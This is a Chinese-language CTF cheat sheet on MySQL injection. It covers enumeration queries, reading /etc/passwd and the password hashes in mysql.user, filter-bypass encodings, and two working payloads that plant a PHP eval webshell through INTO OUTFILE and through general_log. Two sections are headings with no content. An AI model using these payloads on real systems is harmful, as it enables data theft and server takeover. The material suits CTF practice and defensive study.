SQL注入是一种常见的网络安全漏洞,攻击者利用不当处理用户输入的代码,通过构造恶意的SQL查询语句,使得数据库执行非预期的操作,从而窃取、修改或删除数据,甚至获取系统权限。在CTF竞赛中,SQL注入是常见的考点之一,下面我们来总结一些相关的知识和技巧。
常用语句及知识
信息获取
information_schema
包含了大量有用的信息,例如数据库名、表名、字段名等。mysql.user
存储了所有用户的信息,其中authentication_string
字段存储了用户密码的hash。
SQL查询语句:
<code>-- 获取当前用户 select user(); -- 获取数据库版本 select version(), @@version; -- 获取当前数据库名 select database(); -- 获取操作系统信息 select @@version_compile_os; -- 显示所有变量 show variables; -- 显示单个变量 select @@secure_file_priv, show variables like 'secure_file_%'; -- 爆破字段数 order by 1...,group by 1... -- 查找数据库名 select group_concat(schema_name) from information_schema.schemata; -- 查找表名 select group_concat(table_name) from information_schema.tables where table_schema='数据库名'; -- 查找字段名 select group_concat(column_name) from information_schema.columns where table_name='表名'; -- 读取文件内容 select load_file('/etc/passwd');</code>
常用函数
- 字符串截取:
substr()
,substring()
,left()
,right()
,mid()
- 字符串拼接:
concat()
,concat_ws()
- 多行拼接:
group_concat()
- 时延函数:
sleep()
,benchmark()
- 编码函数:
hex()
,ord()
,ascii()
,char()
,conv()
- 布尔条件函数:
if()
,position()
,elt()
,case when ... then ... end
,field()
,nullif()
,strcmp()
,regexp
,rlike
,regexp_like()
绕过方法
- 绕过空格:利用URL编码,注释符号等。
- 绕过单引号:使用反斜杠转义、宽字节等。
- 绕过注释:使用多种注释方式,如
/**/
,--
,#
等。 - 绕过关键字限制:利用特殊字符、拼接方法等。
绕过示例
绕过空格
<code>-- 利用URL编码绕过空格 %20, %09, %0a, %0b, %0c, %0d, %a0, %00, /**/, /*!select*/, ()</code>
绕过单引号
<code>-- 利用反斜杠转义、宽字节等绕过单引号 \, %df%27, %bf%27</code>
绕过注释
<code>-- 使用多种注释方式绕过限制 /**/, --+, #, ;%00, union /*!select*/</code>
绕过关键字限制
<code>-- 利用别名、拼接方法等绕过关键字限制 select`user`, user from mysql.user select(1), user from mysql.user</code>
漏洞利用
写入Webshell
<code>-- 将PHP Webshell写入目标目录 select '<?php @eval($_POST[shell]); ?>' into outfile '/var/www/html/shell.php'</code>
利用日志文件写入Webshell
<code>-- 将PHP Webshell写入MySQL日志文件 set global general_log='on'; set global general_log_file='/var/www/html/shell.php'; select '<?php @eval($_POST[shell]); ?>'; set global general_log='off';</code>
UDF提权
<code>-- 利用UDF提权获取系统权限</code>
MySQL任意文件读漏洞
<code>-- 利用MySQL客户端读取任意文件</code>
总结
SQL注入是一种危险的安全漏洞,攻击者可以利用它来绕过应用程序的安全机制,执行恶意操作。在CTF竞赛中,掌握SQL注入的知识和技巧对于解题至关重要。通过学习和实践,我们能够更好地理解和防范SQL注入漏洞,提升系统安全性。
© 版权声明
THE END
暂无评论内容